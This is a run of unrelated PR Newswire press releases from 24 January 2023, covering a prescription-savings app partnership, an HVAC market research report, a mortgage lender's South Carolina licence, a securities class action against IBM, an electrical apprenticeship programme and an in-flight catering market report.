TROY, N.Y. and PHILADELPHIA, Jan. 24, 2023 /PRNewswire/ -- Health Insurance Solutions Inc. (HISI) and Levrx Technology Inc. are making it easier for patients to receive their prescriptions at the best price possible. With the Levrx Member App patients are digitally notified of lower-cost alternatives and savings programs. Together with HISI, Levrx has added a new savings lever called the "High-Cost Relief" to the mobile app.

Specialty drugs are significantly more expensive than traditional therapies, often costing the patient anywhere from $24,000 to over $100,000 per year. For most, specialty drugs are lifesaving and life-sustaining therapies not covered by insurance. The High-Cost Relief savings lever was implemented to help eligible patients pay zero dollars for medications that cost more than $1,500.

Helping eligible patients pay less for high-cost medications. Tweet this

"Specialty drugs are complex and expensive; they continue to represent over 60% of drug spend for Employer groups. By collaborating with Levrx, we are able to digitize and streamline our tenured Specialty Drug Management program. Additionally, we can offer our clients the opportunity to make cost-saving choices on all their prescriptions with the Levrx technology." says Nanette Poserina, President and CEO of HISI.

With the High-Cost Relief savings lever, patients are aware of available savings programs, can submit necessary information, and communicate with advocates digitally. Not only does this add transparency, but expedites results and increases medication adherence.

"Levrx was founded to help people better understand their prescription benefit and ultimately lower drug spend for all stakeholders. Our partnership with HISI provides an additional lever for savings that makes drugs more affordable and attainable." says Vikram Agrawal, Co-Founder and CEO/President at Levrx Technology. "When individuals can afford their medications, they are twice as likely to take them as directed. By offering affordable options, we are helping people take control of their health," adds Vikash Agrawal, Co-Founder and Executive Chairman of Levrx Technology.

About HISI: For over 25 years, HISI has been managing specialty drugs and consistently finding over 60% savings for their clients. Today, HISI is recognized as the proven leader in the Pharmacy Benefit Management Industry and manages over one hundred million dollars in drug spend. For the second year, HISI has been named to Inc5000 and highlighted by the Philadelphia Business Journal, HISI continues to expand on its mission to save clients' money and provide excellent innovative thinking.

About Levrx: Levrx is an innovative software company that uses technology to transform the healthcare experience, one prescription at a time. Levrx aligns providers, patients, pharmacies, and payers on one digital platform to simplify prescribing and ensure affordability. Learn more at www.levrx.com.

Contact:

Lauren Sgambati

(518) 629-0815

[email protected]

SOURCE Levrx Technology
NEW YORK, Jan. 24, 2023 /PRNewswire/ -- According to Technavio, the global HVAC equipment market size is estimated to grow by USD 48.34 billion from 2022 to 2027. The market is estimated to grow at a CAGR of 6.22% during the forecast period. APAC held the largest share of the global market in 2022, and the market in the region is estimated to witness an incremental growth of 55%. For more Insights on market size, Request a sample report

Global HVAC Equipment Market - Five Forces

The global cloud data warehouse market is fragmented, and the five forces analysis covers

Technavio has announced its latest market research report titled Global HVAC Equipment Market 2023-2027

Bargaining Power of Buyers

The threat of New Entrants

Threat of Rivalry

Bargaining Power of Suppliers

Threat of Substitutes

Interpretation of porter's five models helps to strategize the business, for entire details  buy the report!

HVAC equipment market  Customer Landscape

The report includes the market's adoption lifecycle, from the innovator's stage to the laggard's stage. It focuses on adoption rates in different regions based on penetration. Furthermore, the report also includes key purchase criteria and drivers of price sensitivity to help companies evaluate and develop their growth strategies.

HVAC equipment market - Segmentation Assessment

Segment Overview

Technavio has segmented the market based on the end-user (non-residential and residential), product (air conditioning equipment, heating equipment, and ventilation equipment), and geography (APAC, Europe, North America, Middle East and Africa, and South America).

The market growth in the non-residential segment will be significant during the forecast period. End-users of this segment include manufacturing facilities, commercial and industrial buildings, data centers, retail stores, healthcare facilities, and educational institutions.

Geography Overview

By geography, the global HVAC equipment market is segmented into APAC, Europe, North America, Middle East and Africa, and South America. The segment is driven by the increase in construction activities in the non-residential sector. Also, the rising need for energy efficiency among organizations and commercial firms is contributing to the growth of the segment.

APAC will account for 55% of the global market growth during the forecast period. The growth of the regional market can be attributed to factors such as the increasing construction of commercial and industrial buildings, rising investments in infrastructural development, and rapid urbanization.

Download a Sample Report

HVAC equipment market  Market Dynamics

Key factor driving market growth

The market is driven by increasing residential and commercial construction activities.

The growth in global population and regulatory support from government have led to an increase in the number of construction activities worldwide.

According to The World Bank Group data, the global population increased from 7.53 billion in 2017 to 7.84 billion in 2021.

Such an increase in the global population is increasing the demand for residential and commercial spaces.

This is consequently increasing the demand for HVAC, which is driving the growth of the market.

Leading trends influencing the market

The advent of smart HVAC systems is identified as a major trend in the market.

The demand for smart HVAC systems is increasing among end-users. These systems are more user-friendly, efficient, and convenient when compared with traditional HVAC systems.

Smart HVAC systems consist of sensors that can help users to prevent costly breakdowns. They also have a built-in monitor, which can be used to alert the user regarding issues such as changing the filter or the slow operation of the blower.

Moreover, smart HVAC systems automatically adjust operating and start-up speeds depending on the temperature requirements, thereby making them more energy efficient.

Many such benefits are increasing the popularity of smart HVAC systems among end-users.

Major challenges hindering market growth

Stringent regulations are expected to hinder the growth of the market during the forecast period.

Many governments and independent agencies across geographies have framed various regulations to ensure that proper measures are taken while operating, installing, and manufacturing HVAC equipment.

For instance, the International Mechanical Code (IMC) focuses on the maintenance and design of HVAC systems. According to the IMC, the inspection of the maintenance of HVAC systems must be performed in accordance with ASHRAE/ACCA/ANSI Standard 180. Also, the design of the HVAC system must take into consideration all the effects of HVAC systems in both smoke and fire situations.

The need comply with many such regulations increases the cost borne by the vendors and may affect their profit margins.

Driver, trend, and challenges are the factor of market dynamics that state about consequences & sustainability of the businesses, find some insights from a sample report!

What are the key data covered in this HVAC equipment market report?

CAGR of the market during the forecast period

Detailed information on factors that will drive the growth of the HVAC equipment market between 2023 and 2027

Precise estimation of the size of the HVAC equipment market size and its contribution to the market in focus on the parent market

Accurate predictions about upcoming trends and changes in consumer behavior

Growth of the HVAC equipment market industry across APAC, Europe , North America , Middle East and Africa , and South America

, , and , and A thorough analysis of the market's competitive landscape and detailed information about vendors

Comprehensive analysis of factors that will challenge the growth of HVAC equipment market vendors

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The industrial heat pump market is estimated to grow at a CAGR of 5.66% between 2022 and 2027. The size of the market is forecast to increase by USD 666.06 million . The rising focus on improving energy efficiency by industries is notably driving the market growth, although factors such as high initial cost and limitations of heat pumps may impede the market growth.

is estimated to grow at a CAGR of 5.66% between 2022 and 2027. The size of the market is forecast to increase by . The rising focus on improving energy efficiency by industries is notably driving the market growth, although factors such as high initial cost and limitations of heat pumps may impede the market growth. The air handling unit market is estimated to grow at a CAGR of 7.3% between 2022 and 2027. The size of the market is forecast to increase by USD 3,825.59 million . The growing construction sector is notably driving the market growth, although factors such as high market competition may impede the market growth.

HVAC Equipment Market Scope Report Coverage Details Page number 171 Base year 2022 Historic period 2017-2021 Forecast period 2023-2027 Growth momentum & CAGR Accelerate at a CAGR of 6.22% Market growth 2023-2027 USD 48.34 billion Market structure Fragmented YoY growth 2022-2023 (%) 5.65 Regional analysis APAC, Europe, North America, Middle East and Africa, and South America Performing market contribution APAC at 55% Key countries US, China, Japan, Germany, and UK Competitive landscape Leading Vendors, Market Positioning of Vendors, Competitive Strategies, and Industry Risks Key companies profiled AAON Inc., AB Electrolux., Daikin Industries Ltd., Emerson Electric Co, Fujitsu Ltd., Gree Electric, Haier Smart Home Co. Ltd., Hitachi Ltd., Ingersoll Rand Inc., Johnson Controls International Plc., Lennox International Inc., LG Electronics Inc., MIDEA Group, Nortek Inc., Rheem Manufacturing Co., Bosch Thermotechnik GmbH, Samsung Electronics Co. Ltd., Seeley International Pty Ltd., Whirlpool Corp., and A. O. Smith Corp. Market dynamics Parent market analysis, market growth inducers and obstacles, fast-growing and slow-growing segment analysis, COVID-19 impact and recovery analysis and future consumer dynamics, and market condition analysis for the forecast period. Customization purview If our report has not included the data that you are looking for, you can reach out to our analysts and get segments customized.

Table of contents:

1 Executive Summary

1.1 Market overview

Exhibit 01: Executive Summary  Chart on Market Overview



Exhibit 02: Executive Summary  Data Table on Market Overview



Exhibit 03: Executive Summary  Chart on Global Market Characteristics



Exhibit 04: Executive Summary  Chart on Market by Geography



Exhibit 05: Executive Summary  Chart on Market Segmentation by End-user



Exhibit 06: Executive Summary  Chart on Market Segmentation by Product



Exhibit 07: Executive Summary  Chart on Incremental Growth



Exhibit 08: Executive Summary  Data Table on Incremental Growth



Exhibit 09: Executive Summary  Chart on Vendor Market Positioning

2 Market Landscape

2.1 Market ecosystem

Exhibit 10: Parent market



Exhibit 11: Market Characteristics

3 Market Sizing

3.1 Market definition

Exhibit 12: Offerings of vendors included in the market definition

3.2 Market segment analysis

Exhibit 13: Market segments

3.3 Market size 2022

3.4 Market outlook: Forecast for 2022-2027

Exhibit 14: Chart on Global - Market size and forecast 2022-2027 ($ billion)



Exhibit 15: Data Table on Global - Market size and forecast 2022-2027 ($ billion)



Exhibit 16: Chart on Global Market: Year-over-year growth 2022-2027 (%)



Exhibit 17: Data Table on Global Market: Year-over-year growth 2022-2027 (%)

4 Historic Market Size

4.1 Global HVAC equipment market 2017 - 2021

Exhibit 18: Historic Market Size  Data Table on Global HVAC equipment market 2017 - 2021 ($ billion)

4.2 End user Segment Analysis 2017 - 2021

Exhibit 19: Historic Market Size  End user Segment 2017 - 2021 ($ billion)

4.3 Product Segment Analysis 2017 - 2021

Exhibit 20: Historic Market Size  Product Segment 2017 - 2021 ($ billion)

4.4 Geography Segment Analysis 2017 - 2021

Exhibit 21: Historic Market Size  Geography Segment 2017 - 2021 ($ billion)

4.5 Country Segment Analysis 2017 - 2021

Exhibit 22: Historic Market Size  Country Segment 2017 - 2021 ($ billion)

5 Five Forces Analysis

5.1 Five forces summary

Exhibit 23: Five forces analysis - Comparison between 2022 and 2027

5.2 Bargaining power of buyers

Exhibit 24: Chart on Bargaining power of buyers  Impact of key factors 2022 and 2027

5.3 Bargaining power of suppliers

Exhibit 25: Bargaining power of suppliers  Impact of key factors in 2022 and 2027

5.4 Threat of new entrants

Exhibit 26: Threat of new entrants  Impact of key factors in 2022 and 2027

5.5 Threat of substitutes

Exhibit 27: Threat of substitutes  Impact of key factors in 2022 and 2027

5.6 Threat of rivalry

Exhibit 28: Threat of rivalry  Impact of key factors in 2022 and 2027

5.7 Market condition

Exhibit 29: Chart on Market condition - Five forces 2022 and 2027

6 Market Segmentation by End-user

6.1 Market segments

Exhibit 30: Chart on End-user - Market share 2022-2027 (%)



Exhibit 31: Data Table on End-user - Market share 2022-2027 (%)

6.2 Comparison by End-user

Exhibit 32: Chart on Comparison by End-user



Exhibit 33: Data Table on Comparison by End-user

6.3 Non-residential - Market size and forecast 2022-2027

Exhibit 34: Chart on Non-residential - Market size and forecast 2022-2027 ($ billion)



Exhibit 35: Data Table on Non-residential - Market size and forecast 2022-2027 ($ billion)



Exhibit 36: Chart on Non-residential - Year-over-year growth 2022-2027 (%)



Exhibit 37: Data Table on Non-residential - Year-over-year growth 2022-2027 (%)

6.4 Residential - Market size and forecast 2022-2027

Exhibit 38: Chart on Residential - Market size and forecast 2022-2027 ($ billion)



Exhibit 39: Data Table on Residential - Market size and forecast 2022-2027 ($ billion)



Exhibit 40: Chart on Residential - Year-over-year growth 2022-2027 (%)



Exhibit 41: Data Table on Residential - Year-over-year growth 2022-2027 (%)

6.5 Market opportunity by End-user

Exhibit 42: Market opportunity by End-user ($ billion)

7 Market Segmentation by Product

7.1 Market segments

Exhibit 43: Chart on Product - Market share 2022-2027 (%)



Exhibit 44: Data Table on Product - Market share 2022-2027 (%)

7.2 Comparison by Product

Exhibit 45: Chart on Comparison by Product



Exhibit 46: Data Table on Comparison by Product

7.3 Air conditioning equipment - Market size and forecast 2022-2027

Exhibit 47: Chart on Air conditioning equipment - Market size and forecast 2022-2027 ($ billion)



Exhibit 48: Data Table on Air conditioning equipment - Market size and forecast 2022-2027 ($ billion)



Exhibit 49: Chart on Air conditioning equipment - Year-over-year growth 2022-2027 (%)



Exhibit 50: Data Table on Air conditioning equipment - Year-over-year growth 2022-2027 (%)

7.4 Heating equipment - Market size and forecast 2022-2027

Exhibit 51: Chart on Heating equipment - Market size and forecast 2022-2027 ($ billion)



Exhibit 52: Data Table on Heating equipment - Market size and forecast 2022-2027 ($ billion)



Exhibit 53: Chart on Heating equipment - Year-over-year growth 2022-2027 (%)



Exhibit 54: Data Table on Heating equipment - Year-over-year growth 2022-2027 (%)

7.5 Ventilation equipment - Market size and forecast 2022-2027

Exhibit 55: Chart on Ventilation equipment - Market size and forecast 2022-2027 ($ billion)



Exhibit 56: Data Table on Ventilation equipment - Market size and forecast 2022-2027 ($ billion)



Exhibit 57: Chart on Ventilation equipment - Year-over-year growth 2022-2027 (%)



Exhibit 58: Data Table on Ventilation equipment - Year-over-year growth 2022-2027 (%)

7.6 Market opportunity by Product

Exhibit 59: Market opportunity by Product ($ billion)

8 Customer Landscape

8.1 Customer landscape overview

Exhibit 60: Analysis of price sensitivity, lifecycle, customer purchase basket, adoption rates, and purchase criteria

9 Geographic Landscape

9.1 Geographic segmentation

Exhibit 61: Chart on Market share by geography 2022-2027 (%)



Exhibit 62: Data Table on Market share by geography 2022-2027 (%)

9.2 Geographic comparison

Exhibit 63: Chart on Geographic comparison



Exhibit 64: Data Table on Geographic comparison

9.3 APAC - Market size and forecast 2022-2027

Exhibit 65: Chart on APAC - Market size and forecast 2022-2027 ($ billion)



Exhibit 66: Data Table on APAC - Market size and forecast 2022-2027 ($ billion)



Exhibit 67: Chart on APAC - Year-over-year growth 2022-2027 (%)



Exhibit 68: Data Table on APAC - Year-over-year growth 2022-2027 (%)

9.4 Europe - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 69: Chart on Europe - Market size and forecast 2022-2027 ($ billion)

- Market size and forecast 2022-2027 ($ billion)

Exhibit 70: Data Table on Europe - Market size and forecast 2022-2027 ($ billion)

- Market size and forecast 2022-2027 ($ billion)

Exhibit 71: Chart on Europe - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 72: Data Table on Europe - Year-over-year growth 2022-2027 (%)

9.5 North America - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 73: Chart on North America - Market size and forecast 2022-2027 ($ billion)

- Market size and forecast 2022-2027 ($ billion)

Exhibit 74: Data Table on North America - Market size and forecast 2022-2027 ($ billion)

- Market size and forecast 2022-2027 ($ billion)

Exhibit 75: Chart on North America - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 76: Data Table on North America - Year-over-year growth 2022-2027 (%)

9.6 Middle East and Africa - Market size and forecast 2022-2027

and - Market size and forecast 2022-2027 Exhibit 77: Chart on Middle East and Africa - Market size and forecast 2022-2027 ($ billion)

and - Market size and forecast 2022-2027 ($ billion)

Exhibit 78: Data Table on Middle East and Africa - Market size and forecast 2022-2027 ($ billion)

and - Market size and forecast 2022-2027 ($ billion)

Exhibit 79: Chart on Middle East and Africa - Year-over-year growth 2022-2027 (%)

and - Year-over-year growth 2022-2027 (%)

Exhibit 80: Data Table on Middle East and Africa - Year-over-year growth 2022-2027 (%)

9.7 South America - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 81: Chart on South America - Market size and forecast 2022-2027 ($ billion)

- Market size and forecast 2022-2027 ($ billion)

Exhibit 82: Data Table on South America - Market size and forecast 2022-2027 ($ billion)

- Market size and forecast 2022-2027 ($ billion)

Exhibit 83: Chart on South America - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 84: Data Table on South America - Year-over-year growth 2022-2027 (%)

9.8 China - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 85: Chart on China - Market size and forecast 2022-2027 ($ billion)

- Market size and forecast 2022-2027 ($ billion)

Exhibit 86: Data Table on China - Market size and forecast 2022-2027 ($ billion)

- Market size and forecast 2022-2027 ($ billion)

Exhibit 87: Chart on China - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 88: Data Table on China - Year-over-year growth 2022-2027 (%)

9.9 US - Market size and forecast 2022-2027

Exhibit 89: Chart on US - Market size and forecast 2022-2027 ($ billion)



Exhibit 90: Data Table on US - Market size and forecast 2022-2027 ($ billion)



Exhibit 91: Chart on US - Year-over-year growth 2022-2027 (%)



Exhibit 92: Data Table on US - Year-over-year growth 2022-2027 (%)

9.10 Japan - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 93: Chart on Japan - Market size and forecast 2022-2027 ($ billion)

- Market size and forecast 2022-2027 ($ billion)

Exhibit 94: Data Table on Japan - Market size and forecast 2022-2027 ($ billion)

- Market size and forecast 2022-2027 ($ billion)

Exhibit 95: Chart on Japan - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 96: Data Table on Japan - Year-over-year growth 2022-2027 (%)

9.11 Germany - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 97: Chart on Germany - Market size and forecast 2022-2027 ($ billion)

- Market size and forecast 2022-2027 ($ billion)

Exhibit 98: Data Table on Germany - Market size and forecast 2022-2027 ($ billion)

- Market size and forecast 2022-2027 ($ billion)

Exhibit 99: Chart on Germany - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 100: Data Table on Germany - Year-over-year growth 2022-2027 (%)

9.12 UK - Market size and forecast 2022-2027

Exhibit 101: Chart on UK - Market size and forecast 2022-2027 ($ billion)



Exhibit 102: Data Table on UK - Market size and forecast 2022-2027 ($ billion)



Exhibit 103: Chart on UK - Year-over-year growth 2022-2027 (%)



Exhibit 104: Data Table on UK - Year-over-year growth 2022-2027 (%)

9.13 Market opportunity by geography

Exhibit 105: Market opportunity by geography ($ billion)

10 Drivers, Challenges, and Trends

10.1 Market drivers

10.2 Market challenges

10.3 Impact of drivers and challenges

Exhibit 106: Impact of drivers and challenges in 2022 and 2027

10.4 Market trends

11 Vendor Landscape

11.1 Overview

11.2 Vendor landscape

Exhibit 107: Overview on Criticality of inputs and Factors of differentiation

11.3 Landscape disruption

Exhibit 108: Overview on factors of disruption

11.4 Industry risks

Exhibit 109: Impact of key risks on business

12 Vendor Analysis

12.1 Vendors covered

Exhibit 110: Vendors covered

12.2 Market positioning of vendors

Exhibit 111: Matrix on vendor position and classification

12.3 A. O. Smith Corp.

Exhibit 112: A. O. Smith Corp. - Overview



Exhibit 113: A. O. Smith Corp. - Key offerings

12.4 AAON Inc.

Exhibit 114: AAON Inc. - Overview



Exhibit 115: AAON Inc. - Business segments



Exhibit 116: AAON Inc. - Key offerings



Exhibit 117: AAON Inc. - Segment focus

12.5 AB Electrolux.

Exhibit 118: AB Electrolux. - Overview



Exhibit 119: AB Electrolux. - Business segments



Exhibit 120: AB Electrolux. - Key news



Exhibit 121: AB Electrolux. - Key offerings



Exhibit 122: AB Electrolux. - Segment focus

12.6 Daikin Industries Ltd.

Exhibit 123: Daikin Industries Ltd. - Overview



Exhibit 124: Daikin Industries Ltd. - Business segments



Exhibit 125: Daikin Industries Ltd. - Key news



Exhibit 126: Daikin Industries Ltd. - Key offerings



Exhibit 127: Daikin Industries Ltd. - Segment focus

12.7 Emerson Electric Co

Exhibit 128: Emerson Electric Co - Overview



Exhibit 129: Emerson Electric Co - Business segments



Exhibit 130: Emerson Electric Co - Key news



Exhibit 131: Emerson Electric Co - Key offerings



Exhibit 132: Emerson Electric Co - Segment focus

12.8 Fujitsu Ltd.

Exhibit 133: Fujitsu Ltd. - Overview



Exhibit 134: Fujitsu Ltd. - Business segments



Exhibit 135: Fujitsu Ltd. - Key news



Exhibit 136: Fujitsu Ltd. - Key offerings



Exhibit 137: Fujitsu Ltd. - Segment focus

12.9 Gree Electric

Exhibit 138: Gree Electric - Overview



Exhibit 139: Gree Electric - Product / Service



Exhibit 140: Gree Electric - Key offerings

12.10 Haier Smart Home Co. Ltd.

Exhibit 141: Haier Smart Home Co. Ltd. - Overview



Exhibit 142: Haier Smart Home Co. Ltd. - Business segments



Exhibit 143: Haier Smart Home Co. Ltd. - Key offerings



Exhibit 144: Haier Smart Home Co. Ltd. - Segment focus

12.11 Ingersoll Rand Inc.

Exhibit 145: Ingersoll Rand Inc. - Overview



Exhibit 146: Ingersoll Rand Inc. - Business segments



Exhibit 147: Ingersoll Rand Inc. - Key offerings



Exhibit 148: Ingersoll Rand Inc. - Segment focus

12.12 Johnson Controls International Plc.

Exhibit 149: Johnson Controls International Plc. - Overview



Exhibit 150: Johnson Controls International Plc. - Business segments



Exhibit 151: Johnson Controls International Plc. - Key news



Exhibit 152: Johnson Controls International Plc. - Key offerings



Exhibit 153: Johnson Controls International Plc. - Segment focus

12.13 LG Electronics Inc.

Exhibit 154: LG Electronics Inc. - Overview



Exhibit 155: LG Electronics Inc. - Business segments



Exhibit 156: LG Electronics Inc. - Key news



Exhibit 157: LG Electronics Inc. - Key offerings



Exhibit 158: LG Electronics Inc. - Segment focus

12.14 MIDEA Group

Exhibit 159: MIDEA Group - Overview



Exhibit 160: MIDEA Group - Business segments



Exhibit 161: MIDEA Group - Key offerings



Exhibit 162: MIDEA Group - Segment focus

12.15 Nortek Inc.

Exhibit 163: Nortek Inc. - Overview



Exhibit 164: Nortek Inc. - Product / Service



Exhibit 165: Nortek Inc. - Key offerings

12.16 Bosch Thermotechnik GmbH

Exhibit 166: Bosch Thermotechnik GmbH - Overview



Exhibit 167: Bosch Thermotechnik GmbH - Product / Service



Exhibit 168: Bosch Thermotechnik GmbH - Key offerings

12.17 Samsung Electronics Co. Ltd.

Exhibit 169: Samsung Electronics Co. Ltd. - Overview



Exhibit 170: Samsung Electronics Co. Ltd. - Business segments



Exhibit 171: Samsung Electronics Co. Ltd. - Key news



Exhibit 172: Samsung Electronics Co. Ltd. - Key offerings



Exhibit 173: Samsung Electronics Co. Ltd. - Segment focus

13 Appendix

13.1 Scope of the report

13.2 Inclusions and exclusions checklist

Exhibit 174: Inclusions checklist



Exhibit 175: Exclusions checklist

13.3 Currency conversion rates for US$

Exhibit 176: Currency conversion rates for US$

13.4 Research methodology

Exhibit 177: Research methodology



Exhibit 178: Validation techniques employed for market sizing



Exhibit 179: Information sources

13.5 List of abbreviations

Exhibit 180: List of abbreviations

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focuses on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

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SOURCE Technavio
Atlanta-based joint-venture of Hyperion Bank has grown to serve customers in Alabama, Florida, Georgia, New Jersey, North Carolina, Pennsylvania, Tennessee, and now, The Palmetto State

ATLANTA, Jan. 24, 2023 /PRNewswire/ -- Hyperion Mortgage, a home-lending provider has been licensed in South Carolina. Hyperion Mortgage also holds licenses in Alabama, Florida, Georgia, New Jersey, North Carolina, Pennsylvania and Tennessee.

"We're excited to continue expanding our reach in response to consumer demand and our strong lender networks," says Janet Farmer, a longtime mortgage professional who is Branch Manager and a Loan Originator with Hyperion Mortgage. "In addition to our deep experience, we offer comprehensive lending options, competitive pricing and white-glove service."

Janet Farmer - Branch Manager (producing), Hyperion Mortgage Carol Lynn Upshaw - Senior Mortgage Loan Originator, Hyperion Mortgage

Farmer notes that Hyperion Mortgage offers a complete range of conventional, jumbo, FHA, FHA Disaster Relief Loans, VA, USDA, home equity (HELOC) loans, self-employed borrower, investor loans, no income loans and other specialty products.

"We offer the highest level of service to complement the top-flight service provided by Hyperion Bank, with a breadth of loan products and competitive pricing," says Carol Lynn Upshaw, a veteran lender who is Senior Mortgage Loan Originator with Hyperion Mortgage. "And we strive to educate borrowers to help them achieve their short- and long-term financial goals, whether purchasing a home, refinancing or investing in residential real estate."

Hyperion Mortgage, which is based in Atlanta, is a joint venture between Hyperion Bank and a national mortgage partner. Available by appointment, online or through the Hyperion Mortgage App 24/7. Download the app to complete a loan application, upload documents or see the current status of your loan.

3525 Piedmont Rd, Suite 5-215, Atlanta 30305/Piedmont Center, Building 5. Hyperion Mortgage, LLC, 678-909-7575 or [email protected]. www.Hyperion-Mortgage.com Equal Opportunity Lender. Offer of credit is subject to approval. (NMLS #1949389/AL #22770/FL #MLD1982/Georgia Residential Mortgage Licensee 70666/NC # L-211156/NJ #1949389/PA #80467/SC #1949389/TN #1949389)

Media inquiries:

Drew Plant

[email protected]

678-637-5532

SOURCE Hyperion Mortgage
NEW YORK, Jan. 24, 2023 /PRNewswire/ -- The Klein Law Firm announces that a class action complaint has been filed on behalf of shareholders of International Business Machines Corporation (NYSE: IBM) alleging that the Company violated federal securities laws.

Class Period: January 18, 2018 to October 16, 2018

Lead Plaintiff Deadline: March 14, 2023

No obligation or cost to you.

Learn more about your recoverable losses in IBM:

https://www.kleinstocklaw.com/pslra-1/ibm-lawsuit-loss-submission-form?id=35848&from=4

International Business Machines Corporation NEWS - IBM NEWS

CLASS ACTION CASE DETAILS: The filed complaint alleges that International Business Machines Corporation made materially false and/or misleading statements and/or failed to disclose that: (i) Strategic Imperatives Revenue growth, CAMSS (the distinct components of "Cloud," "Analytics," "Mobile," "Security," and "Social") and CAMSS Components' revenue growth, and the Company's Segments' revenue growth were artificially inflated as a result of the wrongful reclassification/misclassification of revenues from non-strategic to strategic to make those revenues eligible for treatment as Strategic Imperatives Revenue; and (ii) IBM was materially less successful in growing its Strategic Imperative business, reporting materially higher growth than it actually achieved only by wrongfully reclassifying and misclassifying revenue from non-strategic to strategic thereby reporting publicly materially false Strategic Imperative Revenue.

WHAT THIS MEANS TO YOU AS A SHAREHOLDER: If you have suffered a loss in IBM you have until March 14, 2023 to petition the court for lead plaintiff status. Your ability to share in any recovery doesn't require that you serve as a lead plaintiff.

NO COST TO YOU: If you purchased IBM securities during the relevant period, you may be entitled to compensation without payment of any out-of-pocket fees.

HOW TO PROTECT YOUR FINANCIAL INTERESTS: For additional information about the IBM lawsuit, please contact J. Klein, Esq. by telephone at 212-616-4899 or click this link: https://www.kleinstocklaw.com/pslra-1/ibm-lawsuit-loss-submission-form?id=35848&from=4.

ABOUT KLEIN LAW FIRM

J. Klein, Esq. represents investors and participates in securities litigations involving financial fraud throughout the nation. The Klein Law Firm is a boutique litigation firm with experience in a wide range of areas including securities law, corporate finance and commercial litigation. Since 2011, our experienced attorneys have achieved superior results for our clients with a personalized focus. Attorney advertising. Prior results do not guarantee similar outcomes.

CONTACT:

J. Klein, Esq.

535 Fifth Avenue

4th Floor

New York City, NY 10017

[email protected]

Telephone: (212) 616-4899

www.kleinstocklaw.com

SOURCE The Klein Law Firm
Open Enrollment for Paid Apprenticeship Program Runs February 15-23

Demand for electricians outpacing supply with 80,000 openings projected annually through 2031

HARRISBURG, Pa., Jan. 24, 2023 /PRNewswire/ -- IEC Pennsylvania, the state chapter of Independent Electrical Contractors (IEC), announced it will be accepting applications February 15-23 for its next electrical apprenticeship class which begins this fall. The program is fulfilling a critical need, as more electricians are retiring than entering the field while demand for electricians is growing.

IEC Pennsylvania's apprenticeship program covers residential, commercial and industrial construction and electrical wiring. Individuals accepted into the four-year program work full-time as apprentices for electrical contractors and attend employer-paid instructional classes in-person and online. The program is registered with the U.S. Department of Labor and Pennsylvania Apprenticeship and Training Council.

"Choosing to become an electrician is an excellent career choice," said IEC Pennsylvania Executive Director Marissa Bankert. "It is a career that offers great earning potential and a great job outlook. In fact, our apprenticeship program boasts a 100 percent hiring rate upon completion. And graduates of the program are qualified as experienced electricians, not entry-level."

According to the Occupational Outlook Handbook published by the U.S. Bureau of Labor Statistics, about 79,900 openings for electricians are projected each year on average through 2031. Many of those openings are expected to result from the need to replace workers who exit the labor force or change occupations. The median annual wage for electricians in Pennsylvania was $68,660 in May 2021, which is an hourly wage of $33 not including benefits.

Applicants for IEC Pennsylvania's apprenticeship program must be age 17 or over and have a high school diploma or their GED. To view all eligibility requirements and apply, visit the "Apprenticeship" page of IEC Pennsylvania's website. Individuals may also call 717-697-7553 or email [email protected] for more information.

IEC Pennsylvania also offers a state-registered pre-apprenticeship program for high school students and individuals who are interested in the electrical field. Pre-apprentices gain hands-on experience in the field and opportunities to shadow electricians as they prepare for the apprenticeship program.

IEC Pennsylvania represents merit-shop and independent electrical and systems contractors in all but three of Pennsylvania's 67 counties. (Beaver, Lawrence and Mercer counties in Pennsylvania are served by IEC Western Reserve based in Youngstown, Ohio.) To learn about IEC Pennsylvania membership, events, apprenticeship opportunities and continuing education programs, visit IECPennsylvania.org.

SOURCE IEC Pennsylvania
DUBLIN, Jan. 24, 2023 /PRNewswire/ -- The "In-Flight Catering Services Global Market Report 2022" report has been added to ResearchAndMarkets.com's offering.

This report provides the strategists, marketers and senior management with the critical information they need to assess the global in-flight catering services market.

This report focuses on in-flight catering services market which is experiencing strong growth. The report gives a guide to the in-flight catering services market which will be shaping and changing our lives over the next ten years and beyond, including the markets response to the challenge of the global pandemic.

The global in-flight catering services market is expected to grow from $14.57 billion in 2021 to $15.85 billion in 2022 at a compound annual growth rate (CAGR) of 8.7%. The in-flight catering services market is expected to grow to $20.52 billion in 2026 at a CAGR of 6.7%.



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Create regional and country strategies on the basis of local data and analysis.

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Outperform competitors using forecast data and the drivers and trends shaping the market.

Understand customers based on the latest market research findings.

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Suitable for supporting your internal and external presentations with reliable high quality data and analysis

Major players in the in-flight catering services market are Gate Gourmet, LSG Group, Servair S.A., SATS Ltd, Journey Group Plc, ANA Catering Service Co. Ltd, Emirates Flight Catering, Flying Food Group, Newrest Group Services SAS, AAS Catering, Egypt Air In-Flight Services, KLM Catering Services Schiphol, Air Fayre, and Abby's Catering.



The in-flight catering service market consists of sales of food by entities (organizations, sole traders, and partnerships) that are used to feed passengers in flight with packaged food and beverages. Flight catering service refers to an airline meal, airline food, or in-flight meal. These catering services provide highly specialized skills, technology, and quality-oriented food catering for airline passengers. These meals are prepared by catering companies.



